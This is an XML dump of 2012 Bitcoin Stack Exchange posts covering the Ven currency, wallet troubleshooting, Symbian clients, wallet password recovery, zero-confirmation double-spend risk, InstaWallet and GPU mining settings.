  <row Id="3299" PostTypeId="1" CreationDate="2012-03-27T14:50:59.567" Score="1" ViewCount="1101" Body="&lt;p&gt;The &lt;a href=&quot;http://www.hubculture.com/groups/dev/projects/1046/wiki/&quot; rel=&quot;nofollow&quot;&gt;Ven FAQ&lt;/a&gt; states that Ven is a basket of currencies, but how is it determined? Is it done privately or in the style of a committee? What trade offs are there in relation to Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links: &lt;a href=&quot;http://venmoney.net/&quot; rel=&quot;nofollow&quot;&gt;official site&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Ven_%28currency%29&quot; rel=&quot;nofollow&quot;&gt;wikipedia entry&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="5406" LastEditDate="2014-03-08T23:47:58.627" LastActivityDate="2014-03-08T23:47:58.627" Title="How does Ven work compared to Bitcoin?" Tags="|currencies|" AnswerCount="1" CommentCount="3" ClosedDate="2012-03-27T23:28:20.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="3300" PostTypeId="1" AcceptedAnswerId="3301" CreationDate="2012-03-27T14:56:44.520" Score="3" ViewCount="530" Body="&lt;p&gt;Bitcoin and &lt;a href=&quot;http://venmoney.net/&quot; rel=&quot;nofollow&quot;&gt;Ven&lt;/a&gt; seem to have very different properties, so are there any complementary ways for them to interact? Maybe with Ven acting as a universal fiat representative?&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="5406" LastEditDate="2014-03-08T23:49:40.287" LastActivityDate="2014-03-08T23:49:40.287" Title="How can Bitcoin work with Ven?" Tags="|currencies|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3301" PostTypeId="2" ParentId="3300" CreationDate="2012-03-27T16:35:05.523" Score="4" Body="&lt;p&gt;At present I'm not aware of any ways that Bitcoin and Ven interact, but from what little I know of Ven there's no reason they couldn't interact in the same ways as any traditional currency. I see no compelling reason why a Bitcoin&amp;lt;-&gt;Ven exchange couldn't be opened, though I don't know if Ven allows chargebacks. Ven might also be useful as an analysis tool, since it essentially represents a &quot;basket of currencies&quot; and therefore the price of Bitcoin in Ven might be a better indicator of Bitcoin's actual worldwide value since differences in value of local fiat currencies would have less of an effect on the BTC/VEN price than say BTC/USD or BTC/PLN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;em&gt;Apparently, Ven is a private, local currency which cannot be converted back into other currencies, so the above may be inaccurate. Ven does allow private exchanges, though, so it may still be possible to build an exchange.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-03-28T13:31:19.443" LastActivityDate="2012-03-28T13:31:19.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3302" PostTypeId="2" ParentId="3298" CreationDate="2012-03-27T17:21:42.840" Score="12" Body="&lt;p&gt;BIP = Bitcoin Improvement Proposal. The suggestion to use the concept of BIPs is &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0001&quot;&gt;BIP 1&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-03-27T17:21:42.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3303" PostTypeId="2" ParentId="3256" CreationDate="2012-03-27T17:39:51.637" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0022&quot; rel=&quot;nofollow&quot;&gt;BIP 22&lt;/a&gt; is the draft specification for getmemorypool, and should answer all the questions you asked.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-03-27T17:39:51.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3304" PostTypeId="2" ParentId="3255" CreationDate="2012-03-27T17:42:39.323" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://gitorious.org/bitcoin/eloipool&quot; rel=&quot;nofollow&quot;&gt;Eloipool&lt;/a&gt; (developed by the &lt;a href=&quot;http://eligius.st&quot; rel=&quot;nofollow&quot;&gt;Eligius mining pool&lt;/a&gt;)'s source code contains multiple examples of using getmemorypool. It also includes &lt;a href=&quot;http://gitorious.org/bitcoin/eloipool/blobs/master/gmp-proxy.py&quot; rel=&quot;nofollow&quot;&gt;a proof-of-concept proxy&lt;/a&gt; for miners.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-03-27T17:42:39.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3305" PostTypeId="1" CreationDate="2012-03-27T21:15:47.743" Score="6" ViewCount="10003" Body="&lt;p&gt;I have downloaded it onto my windows pc 3 separate times and each time it goes to start the program it shows the bitcoin wallet &quot;loading addresses&quot;, then it's &quot;loading block index&quot; then my computer makes a noise and I receive this: &lt;strong&gt;error loading blkindex.dat&lt;/strong&gt;. I click OK and it disappears with no options on how to fix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not very computer savvy. Please help. &lt;/p&gt;&#xA;" OwnerUserId="1220" LastActivityDate="2013-04-12T08:20:25.273" Title="Bitcoin will not open instead I see: error loading blkindex.dat" Tags="|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3306" PostTypeId="2" ParentId="3299" CreationDate="2012-03-27T21:51:46.450" Score="3" Body="&lt;p&gt;It appears to be completely unrelated (hence the close vote I just casted).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Ven is a digital social currency used to share, buy, sell and trade in&#xA;  the world of Hub Culture and beyond. The value of Ven floats against&#xA;  other currencies and the price is based on a basket of currencies,&#xA;  commodities and carbon futures.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I trade my Ven back to national currencies like the Dollar, Euro or Pound?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Apparently it's just a bad-old centralised virtual currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing new, nothing special, nothing relevant. And definitely nothing related to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;since I just skimmed over it, I might have got something wrong, but as far as I've read that's unlikely&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-03-27T21:51:46.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3308" PostTypeId="2" ParentId="3305" CreationDate="2012-03-27T22:47:32.670" Score="5" Body="&lt;p&gt;Close the client, go to C:\Users\(Your Username)\AppData\Roaming\Bitcoin and delete everything in the folder &lt;strong&gt;except for wallet.dat - do not delete wallet.dat under any circumstances&lt;/strong&gt; (and empty your Recycle Bin), then restart the client. Somehow your block index file became corrupted.&lt;/p&gt;&#xA;" OwnerUserId="1171" LastEditorUserId="22" LastEditDate="2012-03-30T16:37:59.283" LastActivityDate="2012-03-30T16:37:59.283" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3309" PostTypeId="2" ParentId="3300" CreationDate="2012-03-28T08:07:31.677" Score="-2" Body="&lt;p&gt;Ven does allow person-to-person (P2P) transfers, so just like how over-the-counter (OTC) transfers occur enabling the conversion from PayPal to BTC, anyone wishing to give up their bitcoins in exchange for Ven, or vice-versa, can do so as long as they find a counterparty willing to trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might have been the first to offer to exchange my Ven for BTCs.  At one time I had an open listing on the #bitcoin-otc marketplace.  I've never known of anyone holding Ven nor have I seen anyone wishing to exchange the Ven currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have 15.0 Ven available.  The exchange rate is about 1 Ven = $0.10 USD.  At about $4.50 BTC/USD that means the BTC/Ven is about 45.0.  I'll even double that -- and give up my 15.0 Ven for just 0.15 BTC.  Any takers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Hub online store has goods and services you can purchase using Ven, but the prices are not competitve from what I've seen.  e.g., if you were to convert the price in Ven to dollars using the exchange rate, the listed price is much much higher for the same item than the price from other merchants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose if there was a distressed sale by someone who held a fairly large enough amount of Ven then the buyer could use the Ven to exchange it for something like bullion sold through the Hub Culture online store and then make a profit doing that kind of trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you'ld like my 15 Ven, make me an offer. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on the #bitcoin-otc marketplace (IRC channel).&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-03-28T08:07:31.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3310" PostTypeId="1" CreationDate="2012-03-28T18:15:02.607" Score="2" ViewCount="1708" Body="&lt;p&gt;Can I use Bitcoin on my Nokia N97 phone which uses Symbian OS?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find any Bitcoin wallet applications on &lt;a href=&quot;http://store.ovi.com&quot; rel=&quot;nofollow&quot;&gt;Ovi store&lt;/a&gt; :-(  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found a wallet client for the Android operating system but that is hard to install on my N97. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm willing to compile a client from sources, but I can't find any. I've tried SourceForge but to no avail. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1223" LastEditorUserId="117" LastEditDate="2012-03-29T07:49:00.067" LastActivityDate="2012-03-29T12:25:30.487" Title="Bitcoin wallet for Symbian operating system?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3311" PostTypeId="2" ParentId="3179" CreationDate="2012-03-29T03:10:29.327" Score="3" Body="&lt;p&gt;Bitcoins have value for one simple fact: 2 or more people agree they do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Proof of Work system in mining proves that a number of people agree on this, and agree on a method to account for transactions between them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The was no particular financial incentive. The system was proposed, and people agreed that it would work. They proved they agreed by adding their CPU power to the network. This began to add value to bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CPU power doesn't add value, but the proof of work that it computes does, because this proves the existence of the agreement between the interested partied. The agreement is the code of the reference implementation of bitcoin. This agreement is the fundamental value in bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the agreement is established, people are able to use it to trade for other things (dollars, euros, goods, services), establishing its relative purchasing power.&lt;/p&gt;&#xA;" OwnerUserId="1224" LastActivityDate="2012-03-29T03:10:29.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3312" PostTypeId="2" ParentId="3228" CreationDate="2012-03-29T03:14:16.013" Score="0" Body="&lt;p&gt;There have been at least one message services / blockchain tattooing services that will make an unredeemable(?) TX to a vanity address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one were to have enough hashing power and time, theoretically you could recover keys for lost or destroyed coins. A lot of time. ;) &lt;/p&gt;&#xA;" OwnerUserId="1224" LastActivityDate="2012-03-29T03:14:16.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3313" PostTypeId="1" CreationDate="2012-03-29T06:57:21.397" Score="19" ViewCount="20167" Body="&lt;p&gt;I've lost the password to one of my wallets (it's a small one, don't worry). I was sure I remembered the password ... but evidently I don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a program that I can use to brute-force my password, given hints?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning, suppose that I remember that my password was &quot;abc&quot;, but in fact maybe it's &quot;Abc&quot; or &quot;Abc0&quot;. I would give the cracker program the string &quot;abc&quot; as a hint, and it would try a lot of permutations on it until it finds the real password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a cracker program currently exist? (Reliable sources please, hopefully open source)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="121614" LastEditDate="2023-08-10T12:02:20.387" LastActivityDate="2023-08-10T12:02:20.387" Title="Are there Bitcoin password crackers I can use to recover forgotten passwords?" Tags="|bitcoin-core|wallet-recovery|encryption|" AnswerCount="3" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3314" PostTypeId="2" ParentId="3310" CreationDate="2012-03-29T08:02:04.670" Score="3" Body="&lt;p&gt;&lt;strong&gt;CuteCoin might help&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a project in GitHub that apparently provides a Symbian3 Bitcoin client using InstaWallet. See &lt;a href=&quot;https://github.com/Matoking/cuteCoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Matoking/cuteCoin&lt;/a&gt; for source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also some supporting discussion about Symbian on the forums here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=26154.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=26154.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-03-29T08:02:04.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3315" PostTypeId="1" AcceptedAnswerId="3317" CreationDate="2012-03-29T08:14:15.450" Score="11" ViewCount="1350" Body="&lt;p&gt;The standard client prioritizes TXs by the time of receipt, e.g. a conflicting transaction will not be relayed. This is not enforced by the network, though. Is there anything that would prevent this scenario from happening with 0-confirmations?:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Send 0.01btc fee TX to 0-confirmation accepting merchant.&lt;/li&gt;&#xA;&lt;li&gt;Receive digital good.&lt;/li&gt;&#xA;&lt;li&gt;Send 0.02btc fee TX directly to &quot;all&quot; the major pools/miners.&lt;/li&gt;&#xA;&lt;li&gt;Miners will include the higher fee TX because they make more profit from it. (Not sure they currently do that but they could.)&lt;/li&gt;&#xA;&lt;li&gt;brag about successful double spend&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there anything but worry about their reputation keeping pools/miners from dropping lower fee TXs in favor of higher fee TXs?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="516" LastEditDate="2013-03-06T23:47:08.920" LastActivityDate="2013-03-06T23:47:08.920" Title="Double spend attack by sending higher fee transaction directly to the pools possible?" Tags="|transactions|doublespend|revert-transaction|zero-confirmation|transaction-selection|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3316" PostTypeId="2" ParentId="3315" CreationDate="2012-03-29T09:38:27.780" Score="14" Body="&lt;p&gt;If a merchant accepts 0-confirmation transactions, he has to accept that the transaction can be reversed. So he only should do that if he trusts you for more than the amount you transferred to him. You won't get any bragging rights for doing that, since Bitcoin never promised to be secure without sufficient confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That trust may come from different sources. For example he might know your name, and will sue you for lack of payment. Or you put an amount that exceeds the payment into escrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps he just doesn't care. For example for many digital goods(most software, movies, music,...), you have negligible marginal costs, and you're already relying on the user being honest enough to not download a copy from Pirate Bay without paying you.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Personally I believe those attacks are irrelevant, since Bitcoin isn't well suited for small fast payments in the first place. I expect those to be handled by higher level protocols, with Bitcoin itself being used to handle larger balancing payments and as a secure value store.&lt;/p&gt;&#xA;" OwnerUserId="940" LastEditorUserId="659" LastEditDate="2012-03-29T16:30:35.497" LastActivityDate="2012-03-29T16:30:35.497" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3317" PostTypeId="2" ParentId="3315" CreationDate="2012-03-29T10:38:38.110" Score="7" Body="&lt;p&gt;Bitcoin's security rests on the assumption that the majority of the hashing power follows the protocol. If instead miners/pools break protocol for a quick buck by switching to a conflicting transaction which is clearly a double-spend attempt, this assumption no longer fully holds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can only hope that the mining pool (or any block issuing agent) will refrain from this because they realize that supporting double-spends undermines the validity of their own stake in the Bitcoin ecosystem.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-03-29T12:08:25.477" LastActivityDate="2012-03-29T12:08:25.477" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3318" PostTypeId="2" ParentId="3310" CreationDate="2012-03-29T12:25:30.487" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use a web client, such as &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;MyWallet&lt;/a&gt; or &lt;a href=&quot;https://strongcoin.com/&quot; rel=&quot;nofollow&quot;&gt;StrongCoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-03-29T12:25:30.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3319" PostTypeId="2" ParentId="3313" CreationDate="2012-03-29T22:13:47.670" Score="8" Body="&lt;p&gt;Revalin made available a sript that you can try running:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=85495.msg942171#msg942171&quot; rel=&quot;noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=85495.msg942171#msg942171&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There may not yet be anything else, but you'ld probably find someone willing to write one if you offered to send your wallet along with what you think the pass phrase might be and ask only for a fraction of the wallet's bitcoins back once cracked.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-06T10:47:16.123" LastActivityDate="2013-03-06T10:47:16.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3320" PostTypeId="1" AcceptedAnswerId="3321" CreationDate="2012-03-30T03:01:03.297" Score="5" ViewCount="2702" Body="&lt;p&gt;&lt;a href=&quot;https://www.instawallet.org/&quot;&gt;InstaWallet&lt;/a&gt; is an online Bitcoin wallet service.  When I visit it for the first time, it generates a Bitcoin address that I can use to deposit to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering whether that address is only ever used for my account, or whether all the coins that InstaWallet receive end up in a single large wallet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If it's only ever used for my account, I should be able to use &lt;a href=&quot;http://blockexplorer.com/&quot;&gt;blockexplorer&lt;/a&gt; to monitor my balance.  That's the case with &lt;a href=&quot;http://blockchain.info/wallet&quot;&gt;MyWallet&lt;/a&gt;, since they don't even have access to the address' private key.&lt;/li&gt;&#xA;&lt;li&gt;On the other hand, if everything goes into a single wallet, it's possible that other users' withdrawals may be paid with funds from my deposit address.  That's what happens at &lt;a href=&quot;https://mtgox.com/&quot;&gt;MtGox&lt;/a&gt; and other exchanges.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So which is it?&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2020-11-30T17:41:42.573" Title="When I use InstaWallet.org, do I get my own Bitcoin address?" Tags="|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3321" PostTypeId="2" ParentId="3320" CreationDate="2012-03-30T03:05:55.097" Score="6" Body="&lt;p&gt;That address only receives deposits to your account. Otherwise, they'd have no idea what account to credit when funds wound up in that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can't use blockexplorer to monitor your balance, only to monitor the total amount of deposits you've made. InstaWallet will remove funds from that account as they wish to aggregate your funds with other deposits and service withdrawals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when you make a payment, even if InstaWallet uses your coins to make the payment, the &quot;change&quot; will be sent to a different address. For example, if you deposit 20 bitcoins and then withdraw 10, even if InstaWallet did use your 20 bitcoins to fund the withdrawal, the remaining 10 bitcoins would go to a different bitcoin address even though it's still in your InstaWallet account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, say, you're expecting someone to send you some Bitcoins, you could use blockexplorer to see if they've made that payment. But the balance you see won't really mean anything, it's just some number equal to or less than the total amount you've ever deposited through that address.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-03-30T04:14:18.290" LastActivityDate="2012-03-30T04:14:18.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3322" PostTypeId="2" ParentId="2829" CreationDate="2012-03-30T10:56:24.620" Score="0" Body="&lt;p&gt;DiabloMiner allows both URLs and non-URLs. -l &lt;a href=&quot;http://user:pass@host:port/&quot; rel=&quot;nofollow&quot;&gt;http://user:pass@host:port/&lt;/a&gt; is the same as -u user -p password -o host -r port. URLs may contain paths.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2012-04-10T10:10:37.247" LastActivityDate="2012-04-10T10:10:37.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3323" PostTypeId="2" ParentId="3060" CreationDate="2012-03-30T10:59:51.230" Score="0" Body="&lt;p&gt;The most important thing in your question was that you mentioned that you sent a transaction before all the blocks were downloaded, and now it is stuck at 0/Unconfirmed: This is completely normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client will not send a transaction until it is reasonably up to date, and it may take up to another 24 hours after the blockchain is done downloading before it will attempt resending the transaction (although it may just verify and send the transaction on finishing the blockchain right away).&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2012-03-30T10:59:51.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3324" PostTypeId="2" ParentId="2898" CreationDate="2012-03-30T11:03:26.787" Score="4" Body="&lt;p&gt;Yes, the miner can increment the time stamp by a limited amount, but &lt;em&gt;only&lt;/em&gt; if the pool advertises X-Roll-NTime as a feature. DiabloMiner and CGMiner both support this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#rollntime&quot; rel=&quot;nofollow&quot;&gt;official spec&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2012-03-30T11:03:26.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3325" PostTypeId="2" ParentId="2997" CreationDate="2012-03-30T11:07:15.440" Score="2" Body="&lt;p&gt;Bitcoin (through BerkleyDB) frequently flushes writes to disc to main transaction integrity in wallet.dat and the blockchain databases. The operating system can cache the entire blockchain normally,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have restarted Bitcoin several times and had it start instantly because the entire blockchain is already cached by the OS.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2012-03-30T11:07:15.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3326" PostTypeId="2" ParentId="2786" CreationDate="2012-03-30T11:11:59.740" Score="2" Body="&lt;p&gt;Visa and Mastercard have been pressuring any merchant transaction processors to &lt;a href=&quot;http://tradehillblog.com/2012/02/11/246/&quot; rel=&quot;nofollow&quot;&gt;not support Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is already at least one service that allows you to deposit Bitcoins and withdraw USD through a Visa debit card: &lt;a href=&quot;https://www.okpay.com/en/company/news/bitcoin-okpay.html&quot; rel=&quot;nofollow&quot;&gt;OKPAY recently announced their support of Bitcoin&lt;/a&gt;, although I don't know how long they will last.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2012-03-30T11:11:59.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3327" PostTypeId="2" ParentId="2716" CreationDate="2012-03-30T11:20:09.357" Score="2" Body="&lt;p&gt;aticonfig respects the settings set in your video card's firmware by your card's manufacturer (frequently, although incorrectly, called a BIOS). However, &lt;a href=&quot;http://sourceforge.net/projects/amdovdrvctrl/&quot; rel=&quot;nofollow&quot;&gt;AMDOverdriveCtrl&lt;/a&gt; can clock memory down much farther, depending on the card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radeon 5xxx, 67xx, and 68xx series cards should be clocked down to 1/3rd of the core speed (ie, 750mhz should have a memory speed of 250), 69xx cannot clock down far enough to be worth it, and GCN (79xx, 78xx, 77xx) seem to have a limit of 150 mhz less than core (however, although it is not worth underclocking on 69xx, it &lt;em&gt;is&lt;/em&gt; worth underclocking on GCN due to automatic memory voltage control done by the hardware/driver; on my 7950 @ 1125mhz, going from 1375 down to 975 dropped my GPU temps 3-4 degrees celsius).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5xxx and 6xxx series cards also have a problem where they will instantly lock up if memory speed is set between around 400mhz to around 600mhz (depending on core speed), so your mileage may vary as always.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2012-03-30T11:20:09.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3328" PostTypeId="2" ParentId="2332" CreationDate="2012-03-30T11:27:07.023" Score="1" Body="&lt;p&gt;Wallets contain a pool of 100 unused keys &lt;em&gt;plus&lt;/em&gt; every key ever used. You can never run out of unused keys because the client adds new keys to the unused key pool as you use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it maintains a pool of unused keys is so that future transactions that happen after a backup can still be recovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should frequently back your wallet.dat up &lt;a href=&quot;http://adterrasperaspera.com/blog/2006/10/30/how-to-choose-cddvd-archival-media&quot; rel=&quot;nofollow&quot;&gt;off-site using non-flash media&lt;/a&gt;. You should also backup your wallet.dat after every 50 send transactions (receive transactions do not use up unused keys unless you frequently create new addresses to receive coins with, which would also use the key pool up; in that case, every 50 transactions of any kind).&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2012-03-30T11:27:07.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3329" PostTypeId="2" ParentId="3272" CreationDate="2012-03-30T11:29:42.137" Score="4" Body="&lt;p&gt;Almost everyone seems to use the &lt;a href=&quot;https://exchange.bitparking.com/main&quot; rel=&quot;nofollow&quot;&gt;Bitparking Namecoin Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2012-03-30T11:29:42.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3330" PostTypeId="2" ParentId="2983" CreationDate="2012-03-30T14:25:59.400" Score="-4" Body="&lt;p&gt;No, it requires the entire history to verify new transactions (due to how the security of a new block in the chain requires the security of all previous blocks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some future client may not require the whole chain and not fully verify transactions, however I would not consider these secure for large transactions because I have no clue if the &quot;skinny client&quot; I'm on is not stuck on a malicious fork in the chain designed to allow double spends and someone has not ran off to Mexico with my Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2012-03-30T14:25:59.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3331" PostTypeId="2" ParentId="2997" CreationDate="2012-03-31T12:48:59.450" Score="7" Body="&lt;p&gt;The very recently released bitcoin v0.6.0 has modified bdb cache settings (25 megabytes by default), and provides a way to change this via the command-line option -dbcache=N, with N a number in megabytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This change caused a very significant speedup for synchronizing the block chain indeed.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-03-31T12:48:59.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3332" PostTypeId="1" AcceptedAnswerId="3334" CreationDate="2012-03-31T16:21:56.437" Score="16" ViewCount="3966" Body="&lt;p&gt;An unknown major solo miner (currently IP 71.123.170.150), most likely a botnet, is relaying blocks with zero transactions. Two weeks ago this miner constituted ~15% of the network, now it constitutes ~30%. If the growth rate continues, in about two weeks this miner (most likely a botnet) will control more than half of the network, theoretically allowing a 51% attack. It has already orphaned two perfectly valid blocks. (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=67634.msg828756#msg828756&quot;&gt;Thread on BitcoinTalk&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me we have an imminent threat to Bitcoin itself. Requiring transactions to be included in a block won't work; the miner can just send coins to itself. Blacklisting IPs in the client won't work; the miner can easily switch IPs. How can we stop this? &lt;/p&gt;&#xA;" OwnerUserId="1171" LastEditorUserId="5406" LastEditDate="2016-02-15T18:07:41.093" LastActivityDate="2016-02-15T18:07:41.093" Title="What can be done about the no-transaction block relayer (currently 71.123.170.150)?" Tags="|hashpower|attack|majority-attack|botnets|empty-blocks|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
